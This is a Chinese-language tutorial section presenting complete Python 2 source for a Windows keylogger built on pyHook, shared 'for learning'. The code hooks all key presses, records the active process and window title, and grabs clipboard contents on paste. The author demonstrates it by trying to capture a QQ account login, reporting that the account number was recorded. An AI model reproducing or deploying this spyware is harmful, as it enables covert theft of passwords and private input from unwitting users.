0x07 Python实现键盘记录器
这份代码比较经典,里面的注释也写的很详细,我也就直接放出来给大家一起学习一下。
简单说一说
我们定义了pyhook的hookmanager管理器,然后将我们自定义的回调函数keystroke与keydown事件进行了绑定。之后我们通过pyhook勾住了所有的按键事件,然后继续消息循环,当目标按下键盘上的一个键时,我们的keystroke函数就会被调用,它唯一的一个参数就是触发这个事件的对象。在这个函数中,我们要做的第一件事是检查用户是否切换了窗口,如果切换了窗口,我们需要重新获得当前窗口的名字及进程信息,然后,我们检查按键是否在可输出的ascii码范围之内,如果是的话,输出即可。如果按键是修饰键(如shift、ctrl、alt等)或其他非标准的按键,那么我们从时间的对象中提取按键的名称。我们还检查了用户是否在进行粘贴操作,如果是的话,我们提取剪贴板中的内容。我们的回调函数通过返回true来允许执行消息队列中的下一个hook事件。
测试一下:
我这里打开了一个记事本,然后输入了一些东西,然后我又打开了火狐浏览器,访问了baidu的页面并点击了其中一个连接,这些操作基本都被记录下来了
这里我还使用这个键盘记录器做了个有趣的小实验,打开qq输入账号密码登录,看看能不能记下账号密码,我发现这里的账号是可以记下来的,但是密码却不行,应该是qq客户端程序对这些键盘记录仪做过防御操作处理了。截图如下,我当时输入的账号是541766184
密码是 Admin123 (当然这里的密码是错误的,只是做个示范)
这个键盘记录仪会记录下其他字符,这些字符并不是我输入的,而且当我停下不输入的时候,会发现这个键盘记录仪还在不断的记录一些我没按过的按键,这些应该都是qq客户端做过的防记录处理。
工具源码:
#-*- coding:utf8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 获取前台窗口句柄
hwnd = user32.GetForegroundWindow()
# 获得进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# 保存当前进程ID
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00" * 512)
# 打开进程
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
# 获取进程所对应的可执行文件的名字
psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
# 读取窗口标题
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# 输出进程相关信息
print
print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
print
# 关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def keyStore(event):
global current_window
# 检查目标是否切换了窗口
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# 检测按键是否为常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# 若输入为[CTRL-V],则获取剪切板内容
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event.Key,
# 返回直到下一个钩子事件被触发
return True
# 创建和注册钩子函数管理器
k1 =pyHook.HookManager()
#
k1.KeyDown = keyStore
# 注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()
复制